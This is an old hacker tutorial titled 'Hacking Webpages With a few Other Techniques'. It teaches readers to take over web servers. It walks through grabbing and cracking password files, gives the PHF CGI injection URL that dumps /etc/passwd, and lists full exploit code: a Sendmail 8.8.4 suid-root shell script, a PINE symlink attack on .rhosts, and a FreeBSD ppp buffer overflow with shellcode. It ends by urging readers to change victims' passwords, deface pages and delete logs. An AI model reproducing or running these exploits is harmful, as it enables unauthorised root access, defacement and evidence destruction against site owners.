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Hacking Webpages

Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

 

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through 
anonymous ftp access into a webpage. First you need learn a little about 
the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is 
the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one 
little difference, it's shadowed. Shadowed password files don't let you 
view or copy the actual encrypted password. This causes problems for the 
password cracker and dictionary maker(both explained later in the text).
Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes 
they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like 
you should be able to identify a normal encrypted pw from a shadowed pw file. 
We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the 
files vary from system to system. 1.The first step that you would take is to 
download or copy the file. 2. The second step is to find a password cracker and 
a dictionary maker. Although it's nearly impossible to find a good cracker there
are a few ok ones out there. I recomend that you look for Cracker Jack, John the 
Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or
a dictionary file... When you start a cracking prog you will be asked to find
the the password file. That's where a dictionary maker comes in. You can download
one from nearly every hacker page on the net. A dictionary maker finds all the
possible letter combinations with the alphabet that you choose(ASCII, caps, 
lowercase, and numeric letters may also be added) . We will be releasing our
pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect 
Drug." As far as we know it will be one of the largest in circulation. 3. You then 
start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody 
already knows it and most servers have already found out about the bug and fixed it. 
But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it 
doesn't work 95% of the time). But to do the phf all you do is open a browser and 
type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get 
the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated
then hacking through ftp or using the phf. Before you can setup an exploit you must
first have a telnet proggie, there are many different clients you can just do a netsearch 
and find everything you need.

It's best to get an account with your target(if possible) and view the glitches from 
the inside out. Exploits expose errors or bugs in systems and usually allow you to gain 
root access. There are many different exploits around and you can view each seperately.
I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0); 

_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0); 
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi

and now on to another exploit. I'm going to display the pine exploit through linux. 
By watching the process table with ps to see which users are running PINE, one can 
then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process 
table once again will now reveal when each user quits PINE or runs out of unread messages 
in their INBOX, effectively deleting the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic 
example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id 
as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm 
/tmp/.hamors_lockfile.

This was writen by Sean B. Hamor For this example, hamors is the victim while catluvr is 
the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I'm going to show. Exploitation 
script for the ppp vulnerbility as described by no one to date, this is NOT 
FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt 
work. This is how you set it up:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */
int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++) 
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would 
recommend changing the password before you delete or change anything. To change their 
password all you have to do is login via telnet and login with your new account. Then
you just type: passwd and it will ask you for the old password first followed by the new 
one. Now only you will have the new pw and that should last for a while you can now upload 
you pages, delete all the logs and just plain do your worstJ Psychotic writes our own 
exploits and we will be releasing them soon, so keep your eyes open for them. We recommend 
that if you are serious about learing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~

Enjoy §:)

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